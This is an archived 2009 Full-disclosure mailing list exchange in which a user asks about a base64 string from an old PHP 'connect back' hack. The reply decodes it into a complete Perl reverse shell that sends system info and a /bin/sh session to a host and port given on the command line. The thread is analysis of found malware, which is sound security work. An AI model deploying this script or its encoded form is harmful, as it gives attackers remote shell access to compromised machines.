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pen-test: Re: [Full-disclosure] connect back PHP hack

Re: [Full-disclosure] connect back PHP hack

From: Clement Dupuis <clement.dupuis_at_nospam>
Date: Tue Feb 10 2009 - 20:41:36 GMT
To: "sr." <staticrez@gmail.com>


It is base64 encoding. The two dashes at the end gives it away.

Something similar to:

#!/usr/bin/perl
use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton($target) || die("Error: $!\n"); $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET");
system($system); close(STDIN); close(STDOUT); close(STDERR);

I used the free decoder encoder at: http://ostermiller.org/calc/encode.html

Take care

Clement

On Tue, Feb 10, 2009 at 10:23 PM, sr. <staticrez@gmail.com> wrote:

> can anyone tell me what encoding this is?
>
>
> $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
>
> aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
>
> hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
>
> sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
>
> kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
>
> KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
> OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
>
> this has to do with old php 4.x.x version with magic quotes enabled.
> i'm just trying to figure out what the connect back code does.
>
> any input is much appreciated.
>
> thx,
>
> sr.
>
>
>



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